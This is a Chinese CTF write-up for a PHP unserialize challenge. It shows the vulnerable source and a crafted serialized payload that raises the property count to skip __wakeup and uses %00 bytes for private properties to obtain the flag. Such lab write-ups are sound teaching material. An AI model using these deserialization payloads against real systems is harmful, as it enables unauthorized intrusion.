打开题目,提示备份网站,直接扫描目录,得到www.zip
解压得到class.php,index.php,flag.php等源码
index.php中关键代码为
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php为
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php是虚晃一枪
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
从index.php中可以得知能够用get方法传递一个参数,并且这个参数会被反序列化。
注意到类Name使用了三个魔术方法
__construct() 实例化类时自动调用
__wakeup() 使用 unserialize 反序列化时自动调用
__destruct() 类对象使用结束时自动调用
执行__destruct()时会输出flag,那么我们需要一个Name对象,所以我们传递一个Name对象序列化后的值。
根据__destruct()可以得知,属性password==100,username===admin时可以得到flag。
于是我们构造如下
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
echo(serialize($a));
?>
得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是还有一个__wakeup()是我们需要绕过的,搜索一下有没有什么反序列化漏洞,果不其然
当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行
那我们将序列化字符串改为
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
注意,在序列化字符串中,私有属性前其实是有两个’\0’的,分别在类名前和属性名前,比如在vscode里执行这段序列化代码就会出现显示不全的情况
所以我们在传参时要加上’%00’
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
回显flag